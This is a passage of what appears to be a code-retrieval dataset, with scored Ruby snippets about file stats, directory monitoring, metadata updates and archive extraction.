elem['scan_period']).to_i\n #Log.info(\"File monitoring started for: #{elem}\")\n pq.push([priority, elem, dir_stat_array[index][0]], -priority)\n }\n\n\n while true do\n # pull entry that should be checked next,\n # according to it's scan_period\n time, elem, dir_stat = pq.pop\n # time remains to wait before directory should be checked\n time_span = time - Time.now.to_i\n if (time_span > 0)\n sleep(time_span)\n end\n\n # Start monitor\n Log.info(\"Start monitor path:%s \", dir_stat.path)\n $testing_memory_log.info(\"Start monitor path:#{dir_stat.path}\") if $testing_memory_active\n ::FileMonitoring.stable_state=elem['stable_state']\n dir_stat.monitor\n\n # remove non existing (not marked) files\\dirs\n Log.info('Start remove non existing paths')\n $testing_memory_log.info('Start remove non existing paths') if $testing_memory_active\n dir_stat.removed_unmarked_paths\n Log.info('End monitor path and index')\n $testing_memory_log.info('End monitor path and index') if $testing_memory_active\n\n # Start index\n Log.info(\"Start index path:%s \", dir_stat.path)\n $testing_memory_log.info(\"Start index path:#{dir_stat.path}\") if $testing_memory_active\n dir_stat.index\n\n # print number of indexed files\n Log.debug1(\"indexed file count:%s\", $indexed_file_count)\n $testing_memory_log.info(\"indexed file count: #{$indexed_file_count}\") if $testing_memory_active\n\n #flush content data if changed\n ContentServer.flush_content_data\n\n #Add back to queue\n priority = (Time.now + elem['scan_period']).to_i\n pq.push([priority, elem, dir_stat], -priority)\n end\n end", "title": "" }, { "docid": "c8c94b4e3aec53bab8615c866f70d05f", "score": "0.54571635", "text": "def update_meta_info!\n return unless has_been_read?\n\n ensure_meta_info_dir_exists!\n meta_info_file_pathname.write(\"#{@inode}:#{@read_bytes}\")\n end", "title": "" }, { "docid": "d7282edb19e708598a03518f562f1275", "score": "0.54556316", "text": "def monitor\n file_stats = File.lstat(@path) rescue nil\n new_state = nil\n if file_stats == nil\n new_state = FileStatEnum::NON_EXISTING\n @size = nil\n @modification_time = nil\n @cycles = 0\n elsif @size == nil\n new_state = FileStatEnum::NEW\n @size = file_stats.size\n @modification_time = file_stats.mtime.utc\n @cycles = 0\n elsif changed?(file_stats)\n new_state = FileStatEnum::CHANGED\n @size = file_stats.size\n @modification_time = file_stats.mtime.utc\n @cycles = 0\n else\n new_state = FileStatEnum::UNCHANGED\n @cycles += 1\n if @cycles >= @stable_state\n new_state = FileStatEnum::STABLE\n end\n end\n\n # The assignment\n self.state= new_state\n end", "title": "" }, { "docid": "03886940adae88d5ea8b511422b3c08d", "score": "0.544258", "text": "def proj_file_stats\n\n map_num, sei_num, file_count, byte_size = 0, 0, 0, 0 \n sei_ago, map_ago, file_ago = [], [], []\n\n oldest_file_mod = Time.now\n newest_file_mod = Time.at(0)\n\n Dir.glob(File.join(@project, \"**/*\"), File::FNM_DOTMATCH).each do |f| \n next unless File.exists?(f)\n stat = File.stat(f)\n\n days_ago = days_since(stat.mtime)\n\n byte_size += stat.size\n file_count += 1 if File.file?(f)\n oldest_file_mod = stat.mtime if stat.mtime < oldest_file_mod\n newest_file_mod = stat.mtime if stat.mtime > newest_file_mod\n\n file_ago << days_ago unless f.match /gxdb.*\\.(db|log)$/i\n\n if f.match /\\interp\\.svx$/i\n sei_num += 1\n sei_ago << days_ago\n end\n\n if f.match /\\.(gmp|shp)$/i\n map_num += 1\n map_ago << days_ago\n end\n\n end\n\n age_layers_maps = (map_ago.inject(:+).to_f / map_ago.size).round rescue nil\n age_sv_interps = (sei_ago.inject(:+).to_f / sei_ago.size).round rescue nil\n age_file_mod = (file_ago.inject(:+).to_f / file_ago.size).round rescue nil\n\n {\n num_layers_maps: map_num,\n num_sv_interps: sei_num,\n #oldest_file_mod: oldest_file_mod.utc.iso8601,\n #newest_file_mod: newest_file_mod.utc.iso8601,\n oldest_file_mod: oldest_file_mod.to_i,\n newest_file_mod: newest_file_mod.to_i,\n byte_size: byte_size,\n human_size: Filesize.from(\"#{byte_size} B\").pretty.gsub(\"i\",\"\"),\n file_count: file_count,\n age_layers_maps: age_layers_maps,\n age_sv_interps: age_sv_interps,\n age_file_mod: age_file_mod\n }\n\n end", "title": "" }, { "docid": "19fa2a3dcac22041d54c2c87b18937f7", "score": "0.543301", "text": "def new_files; end", "title": "" }, { "docid": "132c6b9486c1092a077e3dc48053eadd", "score": "0.54248667", "text": "def fetch_new_release_metadata\n return false if new_files.empty?\n msg \"Caching metadata for new releases\"\n new_files.each {|f| f.fetch}\n end", "title": "" }, { "docid": "971217b405c1e1b4f5d89c16eb910cb2", "score": "0.5414252", "text": "def stats_before_compil\n # Readme available?\n if File.exists?('readme.txt')\n @log_file.puts \"\\nLe fichier README existe !\\n\"\n @log_file.puts IO.read('readme.txt')\n end\n\n # Stats on files\n files_before_compil = Dir::entries('.') - ['.', '..', @results_file_dir]\n @log_file.puts \"\\nLe projet est composé des fichiers suivants :\"\n files_before_compil.each { |e| @log_file.puts \"\\t-#{e}\" }\n\n # Stats on number of lines\n nb_lines = `wc -l *.h *.c`\n @log_file.puts \"\\nStatistiques :\\n #{nb_lines}\"\n\n files_before_compil\n end", "title": "" }, { "docid": "51cb809ac197c217452fa583be9e95aa", "score": "0.54110366", "text": "def stat(full_path)\n\t\ts = ::File.stat(full_path)\n\t\t{\n\t\t\t:size => s.size,\n\t\t\t:ctime => s.ctime,\n\t\t\t:atime => s.atime,\n\t\t\t:mtime => s.mtime,\n\t\t\t:mode => s.mode\n\t\t}\n\trescue Errno::ENOENT\n\t\traise Rush::DoesNotExist, full_path\n\tend", "title": "" }, { "docid": "51cb809ac197c217452fa583be9e95aa", "score": "0.54110366", "text": "def stat(full_path)\n\t\ts = ::File.stat(full_path)\n\t\t{\n\t\t\t:size => s.size,\n\t\t\t:ctime => s.ctime,\n\t\t\t:atime => s.atime,\n\t\t\t:mtime => s.mtime,\n\t\t\t:mode => s.mode\n\t\t}\n\trescue Errno::ENOENT\n\t\traise Rush::DoesNotExist, full_path\n\tend", "title": "" }, { "docid": "04a09659a509b3dc33ba71651e14ffaf", "score": "0.54067254", "text": "def modified_files\n file_stats.count { |file| file.status == :modified }\n end", "title": "" }, { "docid": "5ec34520a036c0fc4913b09db330c824", "score": "0.53858966", "text": "def process_all_primary_files\n # NOTE: I investigated concurrent processing of files\n # to speed up this process, however I didn't pursue it\n # further: This process is highly CPU intensive, so the\n # only way to get a significant speedup is to use\n # multiple CPUs/Cores. In MRI this is only possible\n # with multiple processes. I didn't want to go through\n # the trouble of IPC to collect all files' operations.\n # It would be easier if we could use threads, however\n # that would require jruby or rbx. So I'm sticking with\n # sequential processing for now.\n Dir.glob(\n File.join(@repository.base_dir, '**/content/**/*.at')\n ).map { |absolute_file_path|\n next nil if !@file_list.any? { |e| absolute_file_path.index(e) }\n # Skip non content_at files\n unless absolute_file_path =~ /\\/content\\/.+\\d{4}\\.at\\z/\n raise \"shouldn't get here\"\n end\n\n # Note: @any_content_type may be the wrong one, however finding\n # corresponding STM CSV file will still work as it doesn't rely\n # on config but das regex replacements on file path only.\n content_at_file_to = Repositext::RFile::ContentAt.new(\n File.read(absolute_file_path),\n @language,\n absolute_file_path,\n @any_content_type\n )\n\n @logger.info(\" - process #{ content_at_file_to.repo_relative_path(true) }\")\n\n soff = SubtitleOperationsForFile.new(\n content_at_file_to,\n @repository.base_dir,\n {\n from_git_commit: @from_git_commit,\n to_git_commit: @to_git_commit,\n prev_last_operation_id: @prev_last_operation_id,\n execution_context: @execution_context,\n }\n ).compute\n\n if soff.operations.any?\n @prev_last_operation_id = soff.last_operation_id\n soff\n else\n # Return nil if no subtitle operations exist for this file\n nil\n end\n }.compact\n end", "title": "" }, { "docid": "e0fef7b81a15dce3b9b2afe22f4adb6c", "score": "0.53830004", "text": "def stat\n return @stat unless @stat == :needs_stat\n\n method = :stat\n\n # Files are the only types that support links\n if (self.class.name == :file and self[:links] != :follow) or self.class.name == :tidy\n method = :lstat\n end\n\n @stat = begin\n ::File.send(method, self[:path])\n rescue Errno::ENOENT => error\n nil\n rescue Errno::ENOTDIR => error\n nil\n rescue Errno::EACCES => error\n warning \"Could not stat; permission denied\"\n nil\n end\n end", "title": "" }, { "docid": "5cbc3781488acd33e03d7c560e12f27c", "score": "0.538112", "text": "def modified_files\n remote_details = @container.list_objects_info\n same_files.reject do |file|\n (remote_details[file][:last_modified] <=> File.mtime(CloudfileAsset::Local.make_absolute(file))) == 1\n end\n end", "title": "" }, { "docid": "ec038ad7c65280be06c0da4ae94bb271", "score": "0.5369112", "text": "def get_remote_files\n manager = @current_source.file_manager\n manager.start do \n @current_source.folders.each do |folder|\n @files[folder] = manager.find_files folder\n @files[folder] = @files[folder].take(@take) if @take\n Logger.<<(__FILE__,\"INFO\",\"Found #{@files[folder].size} files for #{@current_source.base_dir}/#{folder} at #{@current_source.host.address}\")\n SignalHandler.check\n end\n end\n end", "title": "" }, { "docid": "b035bdade2ce4f27b8b7c7852384b62d", "score": "0.5368532", "text": "def reload_metadata()\n api_result = @session.execute!(\n :api_method => @session.drive.files.get,\n :parameters => { \"fileId\" => self.id })\n @api_file = api_result.data\n if @acl\n @acl = Acl.new(@session, self)\n end\n end", "title": "" }, { "docid": "fbf64030e6e43368e38f73c0421c4efb", "score": "0.5362975", "text": "def monitor\n was_changed = false\n new_state = nil\n self_stat = File.lstat(@path) rescue nil\n if self_stat == nil\n new_state = FileStatEnum::NON_EXISTING\n @files = nil\n @dirs = nil\n @cycles = 0\n elsif @files == nil\n new_state = FileStatEnum::NEW\n @files = Hash.new\n @dirs = Hash.new\n @cycles = 0\n update_dir\n elsif update_dir\n new_state = FileStatEnum::CHANGED\n @cycles = 0\n else\n new_state = FileStatEnum::UNCHANGED\n @cycles += 1\n if @cycles >= @stable_state\n new_state = FileStatEnum::STABLE\n end\n end\n\n # The assignment\n self.state= new_state\n end", "title": "" }, { "docid": "bc4fa24e736dcf034696c04eeb231c63", "score": "0.5354575", "text": "def git_modified_files_info()\n modified_files_info = Hash.new\n updated_files = (git.modified_files - git.deleted_files) + git.added_files\n updated_files.each {|file|\n modified_lines = git_modified_lines(file)\n modified_files_info[File.expand_path(file)] = modified_lines\n }\n modified_files_info\n end", "title": "" }, { "docid": "cc67dc1cd0547c4813623a8d8c512d68", "score": "0.53406316", "text": "def all_files; end", "title": "" }, { "docid": "cc67dc1cd0547c4813623a8d8c512d68", "score": "0.53406316", "text": "def all_files; end", "title": "" }, { "docid": "fd4de112ddfa9c824af0ffa6f631f8e5", "score": "0.5340101", "text": "def track_files(glob); end", "title": "" }, { "docid": "dc3035744f3ba0a141ce22deb92071b2", "score": "0.53360945", "text": "def stat(file)\n request = Packet.create_request(COMMAND_ID_STDAPI_FS_STAT)\n\n request.add_tlv(TLV_TYPE_FILE_PATH, self.class.client.unicode_filter_decode( file ))\n\n response = self.class.client.send_request(request)\n stat_buf = response.get_tlv(TLV_TYPE_STAT_BUF)\n\n unless stat_buf\n stat_buf = response.get_tlv(TLV_TYPE_STAT_BUF32)\n return update32(stat_buf.value)\n end\n\n # Next, we go through the returned stat_buf and fix up the values\n # and insert them into a hash\n return update(stat_buf.value)\n end", "title": "" }, { "docid": "74f9c4d46ad00360e9db8c1ff8e3c5ab", "score": "0.5330434", "text": "def summarize_file(path); end", "title": "" }, { "docid": "90cdffefa2dd50d62c66837afdd04df2", "score": "0.5326139", "text": "def new_file?(file_handle, stat)\n # seek to 0\n Snoopit.logger.debug 'FileTracker.updated? file new read from start of file: ' + @file\n @offset = 0\n @size = stat.size\n @mtime = stat.mtime\n @last_line = nil\n file_handle.seek 0, IO::SEEK_SET\n true\n end", "title": "" }, { "docid": "3ec54dadce756e52023fe51570117c47", "score": "0.5314392", "text": "def update_file_info\n if self.path\n size = File.exists?(self.path) ? File.size(self.path) : nil\n end\n if size\n (value, units) = bits_to_human_readable(size)\n self.size = value unless value.nil? or value.empty?\n self.size_units = units unless units.nil? or units.empty?\n self.save if self.descMetadata.changed?\n end\n end", "title": "" }, { "docid": "23c45251dbd8226432f439a758d699ba", "score": "0.53134036", "text": "def process_primary_files_with_changes_only\n # We get the diff only so that we know which files have changed.\n # It's ok to use the reference commits because we're dealing with\n # content AT files only.\n diff = @repository.diff(@from_git_commit, @to_git_commit, context_lines: 0)\n fwc = []\n diff.patches.each { |patch|\n file_name = patch.delta.old_file[:path]\n # Skip non content_at files\n next if !@file_list.include?(file_name)\n # next if !file_name.index('63-0728')\n unless file_name =~ /\\/content\\/.+\\d{4}\\.at\\z/\n raise \"shouldn't get here: #{ file_name.inspect }\"\n end\n\n @logger.info(\" - process #{ file_name }\")\n\n absolute_file_path = File.join(@repository.base_dir, file_name)\n # Initialize content AT file `to` with contents as of `to_git_commit`.\n # It's fine to use the reference sync commit as the sync operation\n # doesn't touch content AT files, only STM CSV ones.\n content_at_file_to = Repositext::RFile::ContentAt.new(\n '_', # Contents are initialized later via `#as_of_git_commit`\n @language,\n absolute_file_path,\n @any_content_type\n ).as_of_git_commit(@to_git_commit)\n\n compute_st_ops_attrs = {\n from_git_commit: @from_git_commit,\n to_git_commit: @to_git_commit,\n prev_last_operation_id: @prev_last_operation_id,\n execution_context: @execution_context,\n }\n\n compute_st_ops_attrs = refine_compute_st_ops_attrs(\n compute_st_ops_attrs,\n {\n from_table_release_version: @from_table_release_version,\n to_table_release_version: @to_table_release_version,\n absolute_file_path: absolute_file_path\n }\n )\n soff = SubtitleOperationsForFile.new(\n content_at_file_to,\n @repository.base_dir,\n compute_st_ops_attrs\n ).compute\n\n if soff.operations.any?\n # Only collect files that have subtitle operations\n @prev_last_operation_id = soff.last_operation_id\n fwc << soff\n end\n }\n\n # Then we add any files that have st_sync_required set to true and are\n # not in fwc already.\n @file_list.each { |content_at_filename|\n # Skip files that we have captured already\n next if fwc.any? { |soff| soff.content_at_file.repo_relative_path == content_at_filename }\n # Skip files that don't have st_sync_required set to true at to_git_commit\n dj_filename = content_at_filename.sub(/\\.at\\z/, '.data.json')\n # We use dj file contents at to_git_commit :at_child_or_ref\n dj_file = Repositext::RFile::DataJson.new(\n '_', # Contents are initialized later via #as_of_git_commit\n @language,\n dj_filename,\n @any_content_type\n ).as_of_git_commit(\n @to_git_commit,\n :at_child_or_ref\n )\n next if(dj_file.nil? || !dj_file.read_data['st_sync_required'])\n # This file is not in the list of fwc yet, and it has st_sync_required.\n # We add an soff instance with no operations. This could be a file\n # that has changes to subtitle timeslices only.\n content_at_file_from = Repositext::RFile::ContentAt.new(\n '_', # Contents are initialized later via `#as_of_git_commit`\n @language,\n content_at_filename,\n @any_content_type\n ).as_of_git_commit(@from_git_commit)\n soff = Repositext::Subtitle::OperationsForFile.new(\n content_at_file_from,\n {\n file_path: content_at_file_from.repo_relative_path,\n from_git_commit: @from_git_commit,\n to_git_commit: @to_git_commit,\n },\n [] # No operations\n )\n fwc << soff\n }\n # Return list of unique files with changes\n fwc.uniq\n end", "title": "" }, { "docid": "58d3bf7924f3081ca811ff32e5458cd9", "score": "0.5312247", "text": "def internal_file_attributes; end", "title": "" }, { "docid": "3b6e5e7e301a550be7618ba3899e79cc", "score": "0.5305674", "text": "def extract_archived_files\n unless Rails.env.test?\n puts \"Start to extract files? (archive not extracted? #{!archive_extracted?}) to DB for #{mounted_path}\"\n end\n\n result = true\n return true if archive_extracted?\n\n NfsStore::Manage::ArchivedFile.transaction do\n start_time = Time.now\n iterations = 0\n failures = 0\n\n glob_path = \"#{mounted_path}/**/*\"\n %w([ ] { } ?).each do |c|\n glob_path = glob_path.gsub(c, \"\\\\#{c}\")\n end\n\n files = Dir.glob(glob_path)\n\n puts \"Starting extract_archived_files of #{files.length} files\" unless Rails.env.test?\n\n container = stored_file.container\n\n all_afs = []\n files.each do |f|\n pn = Pathname.new f\n unless pn.directory?\n begin\n # Don't use regex - it breaks with special characters\n archived_file_path = pn.dirname.to_s.sub(\"#{mounted_path}/\", '').sub(mounted_path.to_s, '')\n afval = stored_file.path ? File.join(stored_file.path, archive_file_name) : archive_file_name\n af = NfsStore::Manage::ArchivedFile.new container: container,\n path: archived_file_path,\n archive_file: afval,\n file_name: pn.basename,\n nfs_store_stored_file_id: stored_file.id\n\n af.current_user ||= stored_file.user_id\n af.send :write_attribute, :user_id, stored_file.user_id\n container.current_user ||= stored_file.user_id\n af.current_role_name = stored_file.current_role_name\n af.current_gid = stored_file.current_gid\n af.no_access_check = true\n af.analyze_file!\n all_afs << af\n rescue StandardError => e\n failures += 1\n Rails.logger.warn \"Failure (#{failures}) during extract_archived_files. #{e}\\n#{e.backtrace.join(\"\\n\")}\"\n # Continue on to the next one.\n end\n end\n iterations += 1\n next unless Time.now - start_time > ExtractionTimeout\n\n Rails.logger.warn \"Timeout in extract_archived_files after #{iterations} iterations, \" \\\n \"with #{failures} failures.\"\n result = false\n raise ActiveRecord::Rollback\n end\n\n result = NfsStore::Manage::ArchivedFile.import(all_afs, validate: false) && result\n\n # It is possible that repeated or overlapping background processes lead to double entries in the archive_files\n # table. To fix this it is fastest to complete the import, then remove the duplicates.\n\n NfsStore::Manage::ArchivedFile.remove_duplicates archive_file_name\n end\n\n result\n end", "title": "" }, { "docid": "337d97e83bf48edd155c1f236b2fb0e4", "score": "0.5305317", "text": "def updatedb_file_ls(file)\n updatedb[file]\n end", "title": "" }, { "docid": "f7d0eb3317fe7229144f5bd7e01358fa", "score": "0.5304251", "text": "def check_change (conf, curDir)\n Dir.chdir curDir\n return true unless File.exist?(FileStats)\n arr = IO.read(FileStats).split(\",\")\n return true if arr[0].to_i != conf[:fsize]\n return true if conf[:modTS ].to_i > Time.parse(arr[1]).to_i \n false\nend", "title": "" }, { "docid": "9bce7e8c7a85bb0c8169a117eadc2815", "score": "0.5290715", "text": "def update_file_metadata(data)\n update_attributes!( :file_size => data.bytesize, :file_hash => Digest::SHA1.hexdigest( data ) )\n end", "title": "" }, { "docid": "7d1453b9f9e02ab0dea9a9a3ffe6516b", "score": "0.5289796", "text": "def initialize(info, prefix_dir) \r\n @info_dictionary = info\r\n @files = Array.new\r\n @piece_files = Array.new\r\n @pieceLength = info[\"piece length\"]\r\n @numBytes = 0\r\n @totalPieces = info[\"pieces\"].bytesize / 20\r\n \r\n build_dir_path(prefix_dir)\r\n \r\n unless prefix_dir.chars.last == File::SEPARATOR \r\n prefix_dir += File::SEPARATOR \r\n end\r\n \r\n no_files_existed = true\r\n if info[\"files\"] != nil\r\n # multiple file mode\r\n \r\n unless Dir.exists?(prefix_dir + info[\"name\"])\r\n Dir.mkdir(prefix_dir + info[\"name\"])\r\n end\r\n \r\n info[\"files\"].each { |file|\r\n @numBytes += file[\"length\"]\r\n filename = file[\"path\"].last\r\n \r\n build_dir = prefix_dir + info[\"name\"] + File::SEPARATOR # for making directory trees\r\n file[\"path\"].rotate(-1).drop(1).each { |dir| # don't use filename (last element)\r\n build_dir += (dir + File::SEPARATOR) # use constant separator for portability\r\n unless Dir.exists?(build_dir)\r\n Dir.mkdir(build_dir)\r\n end\r\n }\r\n \r\n if File.exists?(build_dir + filename)\r\n no_files_existed = false\r\n end\r\n @files << [File.open(build_dir + filename, File::RDWR | File::CREAT), file[\"length\"]]\r\n if @files.last[0].size < @files.last[1]\r\n @files.last[0].seek(@files.last[0].size, IO::SEEK_SET)\r\n @files.last[0].write(\"\\0\" * (@files.last[1] - @files.last[0].size))\r\n end\r\n }\r\n else\r\n # single file mode\r\n @numBytes = info[\"length\"] \r\n if File.exists?(prefix_dir + info[\"name\"])\r\n no_files_existed = false\r\n end\r\n @files << [File.open(prefix_dir + info[\"name\"], File::RDWR | File::CREAT), info[\"length\"]]\r\n if @files.last[0].size < @files.last[1] # still needs to be checked even if file exists\r\n @files.last[0].seek(@files.last[0].size, IO::SEEK_SET)\r\n (0..((@files.last[1] - @files.last[0].size)/1024)).each {\r\n @files.last[0].write(\"\\0\" * 1024)\r\n }\r\n end\r\n end\r\n unless no_files_existed\r\n recheckComplete()\r\n else\r\n gen_initial_states()\r\n end\r\n \r\n #puts @bitfield.to_binary_string\r\n end", "title": "" }, { "docid": "ba479c7cf6442a0caab8e7c6292656af", "score": "0.5280641", "text": "def obsolete_files; end", "title": "" }, { "docid": "e22fd5d146dc51631c4c16caae822e4b", "score": "0.5275669", "text": "def meta_dl(fn)\n if File.exist? \"#{MIRROR_FOLDER}/mirror/#{fn}\"\n FileUtils.cp(\"#{MIRROR_FOLDER}/mirror/#{fn}\", \"#{MIRROR_FOLDER}/meta_backup/#{fn}\") # backup ori files\n end\n $metadata_dl_list[fn] = true # mark it as downloading\n download(fn) { |res, rcon|\n rcon.unbind rescue nil\n $meta_fail = true unless res\n $metadata_dl_list[fn] = false\n }\nend", "title": "" }, { "docid": "15c14036e21f724da235cdc9d0706696", "score": "0.5274408", "text": "def read_stat(stat)\n @files[stat].rewind\n @files[stat].read\n end", "title": "" }, { "docid": "6833d05c7cf1f179145c28ba79525368", "score": "0.52727395", "text": "def each(&block)\n synchronized do\n return if @files.empty?\n\n file_deleteable = []\n # creates this array just once\n watched_files = @files.values\n\n # look at the closed to see if its changed\n watched_files.select {|wf| wf.closed? }.each do |watched_file|\n path = watched_file.path\n begin\n stat = watched_file.restat\n if watched_file.size_changed? || watched_file.inode_changed?(inode(path,stat))\n # if the closed file changed, move it to the watched state\n # not to active state because we want to use MAX_OPEN_FILES throttling.\n watched_file.watch\n end\n rescue Errno::ENOENT\n # file has gone away or we can't read it anymore.\n file_deleteable << path\n @logger.debug? && @logger.debug(\"each: closed: stat failed: #{path}: (#{$!}), deleting from @files\")\n rescue => e\n @logger.debug? && @logger.debug(\"each: closed: stat failed: #{path}: (#{e.inspect})\")\n end\n end\n\n # look at the ignored to see if its changed\n watched_files.select {|wf| wf.ignored? }.each do |watched_file|\n path = watched_file.path\n begin\n stat = watched_file.restat\n if watched_file.size_changed? || watched_file.inode_changed?(inode(path,stat))\n # if the ignored file changed, move it to the watched state\n # not to active state because we want to use MAX_OPEN_FILES throttling.\n # this file has not been yielded to the block yet\n # but we must have the tail to start from the end, so when the file\n # was first ignored we updated the bytes_read to the stat.size at that time.\n # by adding this to the sincedb so that the subsequent modify\n # event can detect the change\n watched_file.watch\n yield(:unignore, watched_file)\n end\n rescue Errno::ENOENT\n # file has gone away or we can't read it anymore.\n file_deleteable << path\n @logger.debug? && @logger.debug(\"each: ignored: stat failed: #{path}: (#{$!}), deleting from @files\")\n rescue => e\n @logger.debug? && @logger.debug(\"each: ignored: stat failed: #{path}: (#{e.inspect})\")\n end\n end\n\n # Send any creates.\n if (to_take = @max_active - watched_files.count{|wf| wf.active?}) > 0\n watched_files.select {|wf| wf.watched? }.take(to_take).each do |watched_file|\n watched_file.activate\n # don't do create again\n next if watched_file.state_history_any?(:closed, :ignored)\n # if the file can't be opened during the yield\n # its state is set back to watched\n if watched_file.initial?\n yield(:create_initial, watched_file)\n else\n yield(:create, watched_file)\n end\n end\n else\n now = Time.now.to_i\n if (now - @lastwarn_max_files) > MAX_FILES_WARN_INTERVAL\n waiting = @files.size - @max_active\n specific = if @close_older.nil?\n \", try setting close_older. There are #{waiting} unopened files\"\n else\n \", files yet to open: #{waiting}\"\n end\n @logger.warn(@max_warn_msg + specific)\n @lastwarn_max_files = now\n end\n end\n\n # wf.active means the actual files were opened\n # and have been read once - unless they were empty at the time\n watched_files.select {|wf| wf.active? }.each do |watched_file|\n path = watched_file.path\n begin\n stat = watched_file.restat\n rescue Errno::ENOENT\n # file has gone away or we can't read it anymore.\n file_deleteable << path\n @logger.debug? && @logger.debug(\"each: active: stat failed: #{path}: (#{$!}), deleting from @files\")\n watched_file.unwatch\n yield(:delete, watched_file)\n next\n rescue => e\n @logger.debug? && @logger.debug(\"each: active: stat failed: #{path}: (#{e.inspect})\")\n next\n end\n\n if watched_file.file_closable?\n @logger.debug? && @logger.debug(\"each: active: file expired: #{path}\")\n yield(:timeout, watched_file)\n watched_file.close\n next\n end\n\n _inode = inode(path,stat)\n read_thus_far = watched_file.bytes_read\n # we don't update the size here, its updated when we actually read\n if watched_file.inode_changed?(_inode)\n @logger.debug? && @logger.debug(\"each: new inode: #{path}: old inode was #{watched_file.inode.inspect}, new is #{_inode.inspect}\")\n watched_file.update_inode(_inode)\n yield(:delete, watched_file)\n yield(:create, watched_file)\n elsif stat.size < read_thus_far\n @logger.debug? && @logger.debug(\"each: file rolled: #{path}: new size is #{stat.size}, old size #{read_thus_far}\")\n yield(:delete, watched_file)\n yield(:create, watched_file)\n elsif stat.size > read_thus_far\n @logger.debug? && @logger.debug(\"each: file grew: #{path}: old size #{read_thus_far}, new size #{stat.size}\")\n yield(:modify, watched_file)\n end\n end\n\n file_deleteable.each {|f| @files.delete(f)}\n end\n end", "title": "" }, { "docid": "e08a083d773767cd325c7ec29723865d", "score": "0.5270567", "text": "def watch\n @apks.each do |apk|\n file = apk.path\n if File.exist?(file)\n if apk.mtime != File.mtime(file) || apk.size != File.size(file)\n puts \"arquivo \\\"#{apk.fname}\\\" modificado.\"\n @apks.delete_at(apk.index - 1)\n verify(file)\n end\n else\n puts \"arquivo \\\"#{apk.fname}\\\" não encontrado\"\n end\n end\n end", "title": "" }, { "docid": "28236ac5b887bf43d3d6f9abdacb1d15", "score": "0.5270282", "text": "def m2c_check!\n MoabOnStorage::StorageDirectory.find_moab_paths(storage_location) do |druid, _path, _match|\n Audit::MoabToCatalogJob.perform_later(self, druid)\n end\n end", "title": "" }, { "docid": "97f6a5b642b802442caf03fdd581996c", "score": "0.5263139", "text": "def collect_related_bib_files\n @info_by_mms_id.each_key{|mms_id|\n re_fname_with_this_mms_id = /\\.mmsid#{mms_id}#{Regexp.quote(BIB_FNAME_EXT)}$/\n fname = @bib_basenames.find{|f| f.match(re_fname_with_this_mms_id)}\n if fname\n @info_by_mms_id[mms_id][:bib_basename] = fname\n else\n # Prevent further processing by removing this MMS ID from the list\n @info_by_mms_id.delete(mms_id)\n @mms_ids_not_processed << mms_id\n STDERR.puts \"WARNING: No related bib file found for MMS ID '#{mms_id}'. Processing this record will halt.\"\n end\n }\n end", "title": "" }, { "docid": "c5a85a853144014d9af933668fea1b21", "score": "0.52625024", "text": "def analyze_file!\n rp = archive_retrieval_path\n unless rp\n raise FsException::Action, \"Retrieval path is not set when analyzing file '#{path}' '#{file_name}'.\" \\\n \"Does gid #{current_gid} have permissions for this app / container?\"\n end\n\n self.skip_file_uniqueness = true # Just rely on the database, to avoid slow queries by Rails\n super(rp)\n end", "title": "" }, { "docid": "e97493ec04d20ab4d7e63690c5034120", "score": "0.5253728", "text": "def file_list\n end", "title": "" }, { "docid": "6c274232bda34942180021f262d92bf3", "score": "0.52480984", "text": "def set_common_info(info, path)\n set_common_timestamps(info, path)\n if path.file?\n info.end_of_file = path.size\n info.allocation_size = get_allocation_size(path)\n end\n info.file_attributes = build_fscc_file_attributes(path)\n end", "title": "" }, { "docid": "9bf61b97c9c68a650fd77e578df2d8df", "score": "0.5240564", "text": "def test_find_files_to_test\n @a.last_mtime = Time.at(0)\n assert @a.find_files_to_test(@files)\n\n @a.last_mtime = @files.values.sort.last + 1\n deny @a.find_files_to_test(@files)\n end", "title": "" }, { "docid": "257c596a150b981626865cedc416d141", "score": "0.5239777", "text": "def process_htfiles (htfiles)\n delete_sql = %w[\n DELETE FROM holdings_memberitem\n WHERE member_id = ?\n AND item_type = ?\n ].join(' ');\n load_sql = %w[\n LOAD DATA LOCAL INFILE ?\n INTO TABLE holdings_memberitem IGNORE 1 LINES\n (oclc, local_id, member_id, status, item_condition,\n process_date, enum_chron, item_type, issn, n_enum, n_chron, gov_doc)\n ].join(' ');\n\n @log.d(delete_sql);\n @log.d(load_sql);\n\n delete_query = @conn.prepare(delete_sql);\n load_query = @conn.prepare(load_sql);\n\n htfiles.each do |infile|\n m = /HT003_([a-z\\.\\-]+)\\.(mono|multi|serial).tsv/.match(infile.to_s);\n if m != nil then\n member_id = m[1];\n item_type = m[2];\n @log.d(\"For infile #{infile}, reload all #{member_id} #{item_type}.\");\n line_count = %x(wc -l #{infile}).strip;\n @log.d(\"Line count: #{line_count}\");\n @log.d(\"Counts for #{member_id} before:\");\n show_counts(member_id);\n if @dry_run == false then\n # Delete\n @log.d(\"Deleting #{member_id} #{item_type}\");\n delete_query.update(member_id, item_type);\n # Load\n @log.d(\"Loading #{member_id} #{item_type}.\");\n load_query.update(infile);\n # Count\n @log.d(\"Counts for #{member_id} after:\");\n show_counts(member_id);\n end\n @log.d(\"Done with #{member_id} #{item_type}\\n\");\n else\n msg = \"Could not figure out member_id / item_type from #{infile}\";\n @log.f(msg);\n raise msg;\n end\n end\nend", "title": "" }, { "docid": "018715d1738cf9483c52d421c35cd051", "score": "0.5239762", "text": "def metadata_file; end", "title": "" }, { "docid": "018715d1738cf9483c52d421c35cd051", "score": "0.5239762", "text": "def metadata_file; end", "title": "" }, { "docid": "f04fcf62d670df481a288c0e7ff9ec69", "score": "0.52305436", "text": "def changed?(file_stats)\n not (file_stats.size == size and file_stats.mtime.utc == modification_time.utc)\n end", "title": "" }, { "docid": "5c3edfe967a0651a753402912c50cc65", "score": "0.5229361", "text": "def add_file_characterization_to_all_basic_files\n logger = Logger.new(STDOUT)\n logger.level = Logger::INFO\n logger.datetime_format = \"%H:%M:%S\"\n bfs = BasicFile.all\n bfs.each do |bf|\n if bf.datastreams['fitsMetadata1'].nil?\n logger.info \"No FITS datastream found for #{bf.pid}, going to add one...\"\n #need to create a new temp file using the content from the datastream\n temp_file = File.new('temp_content_file', 'w+')\n begin\n temp_file.puts bf.content.content\n rescue StandardError => re\n logger.error 'Got error writing BasicFile contents to file'\n logger.error re.to_s\n if re.to_s.match 'from ASCII-8BIT to UTF-8'\n logger.info 'ASCII file detected'\n temp_file.puts bf.content.content.force_encoding('UTF-8')\n end\n end\n #temp_file.puts bf.content.content.force_encoding('UTF-8')\n\n f = ActionDispatch::Http::UploadedFile.new(filename: bf.content.label, type: 